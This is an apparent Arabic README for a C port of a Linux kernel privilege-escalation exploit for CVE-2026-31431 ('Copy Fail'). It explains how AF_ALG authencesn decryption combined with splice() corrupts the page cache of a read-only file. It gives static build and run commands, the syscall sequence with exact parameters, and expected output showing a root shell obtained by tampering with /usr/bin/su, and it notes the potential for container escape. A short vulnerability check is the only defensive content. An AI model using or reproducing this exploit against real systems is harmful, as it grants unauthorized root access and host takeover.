
استغلال تصعيد الامتيازات المحلية مكتوب بلغة C لثغرة CVE-2026-31431، وهي ثغرة في نواة لينكس ضمن واجهة التشفير AF_ALG، توفّر وصولاً بصلاحيات الجذر عبر التلاعب بذاكرة التخزين المؤقت للصفحات.
Copy Fail (CVE-2026-31431) — ثغرة منطقية في نواة لينكس تسمح لمستخدم محلي غير مميز برفع صلاحياته إلى مستوى المستخدم الخارق (root). تنتمي الثغرة إلى فئة رفع الصلاحيات المحلي (Local Privilege Escalation - LPE)، ولا تتطلب شروط استغلال معقدة (مثل سباق الحالة أو تخمين عناوين الذاكرة) وتعمل "مباشرة" على معظم توزيعات لينكس الصادرة بعد عام 2017.
يحتوي هذا المستودع على نسخة منقولة من استغلال Python الأصلي إلى لغة C مع تعليقات مفصلة، مناسبة للترجمة الثابتة والاستخدام في البيئات البسيطة.
تنشأ الثغرة بسبب خطأ منطقي في النظام الفرعي للتشفير في نواة لينكس، مرتبط بمعالجة AF_ALG (واجهة واجهة برمجة التشفير في النواة) وآلية مخزن الصفحات (page cache).
أُدخل الخطأ في عام 2017 عند إضافة تحسين أزال التخزين المؤقت الزائد عبر تنفيذ عمليات التشفير الكتلي AEAD (التشفير المصادق عليه مع البيانات المرتبطة) في المكان (in-place). بسبب المعالجة غير الصحيحة لحدود المخازن المؤقتة في خوارزمية authencesn (جزء من قالب التشفير AEAD)، يحدث كتابة 4 بايت خارج المخزن المؤقت المخصص، مما يؤدي إلى تلف هياكل إدارة مخزن الصفحات.
ونتيجة لذلك، يمكن للنواة كتابة البيانات مرة أخرى إلى مخزن صفحات الملف، حتى لو كان مفتوحًا للقراءة فقط (O_RDONLY).
AF_ALG ويُهيئ خوارزمية AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt() يتم تعيين معاملات شاذة:
sendmsg() مع رسائل التحكم يتم بدء عملية فك التشفير.splice() ينقل البيانات من الملف الهدف (المفتوح بـ O_RDONLY) إلى مقبس التشفير.authencesn، يتلف مخزن صفحات الملف، وتُكتب البيانات "المفكوك تشفيرها" مرة أخرى إلى المخزن.root.| المكوّن | الوصف |
|---|---|
| نواة لينكس | جميع الإصدارات منذ 2017 حتى لحظة تضمين التصحيح |
| النظام الفرعي | crypto (وحدة algif_aead) |
| الواجهة | AF_ALG — وصول المستخدم إلى واجهة التشفير في النواة |
| استدعاء النظام | splice() بالاقتران مع مقابس AF_ALG |
التوزيعات المعرضة للخطر (عند استخدام نوى مع تحميل وحدة algif_aead):
أهمية خاصة: في بيئات الحاويات (Docker, LXC, Kubernetes)، تكون العمليات داخل الحاوية قادرة افتراضيًا على الوصول إلى النظام الفرعي AF_ALG إذا كانت وحدة algif_aead محملة في نواة المضيف. وهذا يخلق خطر خرق عزل الحاوية والحصول على السيطرة على الجهاز المضيف.
التحقق من الثغرة:
# التحقق مما إذا كانت وحدة algif_aead محملة
lsmod | grep algif
# التحقق من وجود AF_ALG في النواة
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
كان الاستغلال الأصلي مكتوبًا بلغة Python (حوالي 732 بايت). تتميز هذه النسخة المنقولة إلى C بالخصائص التالية:
libz.strace).recv() غير محظور — يمنع التعليق، مكررًا سلوك try/except من Python.الاختلافات الرئيسية عن نسخة Python التي تم اكتشافها أثناء النقل:
| المعامل | Python | C (هذه النسخة) |
|---|---|---|
علم sendmsg() | MSG_MORE | MSG_MORE |
علم splice() | 0 | 0 |
| الإزاحة في pipe | NULL | NULL |
| حجم المفتاح | 40 بايت | 40 بايت |
cmsg_len | 20/36/20 | 20/36/20 (ثابت) |
| إنشاء pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | محظور مع try/except | غير محظور (O_NONBLOCK) |
# يتطلب libz (zlib1g-dev أو zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
عند نجاح الاستغلال، سيتم تشغيل نسخة معدلة من /usr/bin/su توفر وصول root بدون طلب كلمة مرور.
المخرجات المتوقعة:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su مفتوح
[+] 40 قطعة
[*] 40/40 ناجح
# id
uid=0(root) gid=0(root) groups=0(root)
فيما يلي تحليل مفصل لكل خطوة من خطوات الاستغلال مع الإشارة إلى استدعاءات النظام المقابلة:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
يتم إنشاء مقبس للوصول إلى واجهة برمجة التشفير في النواة. خوارزمية authencesn (التشفير المصادق عليه مع أرقام تسلسلية) هي خوارزمية AEAD مركبة تستخدم AES-CBC للتشفير و HMAC-SHA256 للمصادقة.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 أصفار), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 صفرًا), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 أصفار)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
يتم إنشاء اتصال للعملية. عبر sendmsg() مع رسائل التحكم (CMSG) يتم تعيين المعاملات:
ALG_OP_DECRYPT = 0).كل هذه الشذوذات تخلق تناقضات في إدارة ذاكرة النواة.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() — استدعاء نظام لنقل البيانات بين واصفات الملفات بدون نسخ عبر مساحة المستخدم. يتم نقل البيانات على مستوى النواة عبر آلية pipe.
splice(target_fd -> pipe): تنتقل البيانات من الملف الهدف (/usr/bin/su) إلى pipe.splice(pipe -> conn_sock): تنتقل البيانات من pipe إلى مقبس التشفير كـ"نص مشفر".النقطة الأساسية: في Python (وفي هذه النسخة المنقولة)، يتم تمرير الإزاحة للـ pipe كـ NULL، مما يسمح للنواة بإدارة الموضع تلقائيًا.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
استدعاء recv() يجبر النواة على إكمال عملية التشفير. في الوضع الطبيعي، ستعود هنا البيانات المفكوك تشفيرها، ولكن بسبب المعاملات الشاذة يعود خطأ EBADMSG (Python) أو EAGAIN (C مع O_NONBLOCK). يتم تجاهل الخطأ — تلف مخزن الصفحات حدث بالفعل في مرحلة splice().
مخزن الصفحات (page cache) هو مخزن مؤقت لمحتوى الملفات في الذاكرة العشوائية. عندما يفتح عملية ملفًا عبر O_RDONLY، تسمح النواة بالقراءة فقط من هذا المخزن. ومع ذلك، تسمح الثغرة بتجاوز هذا القيد: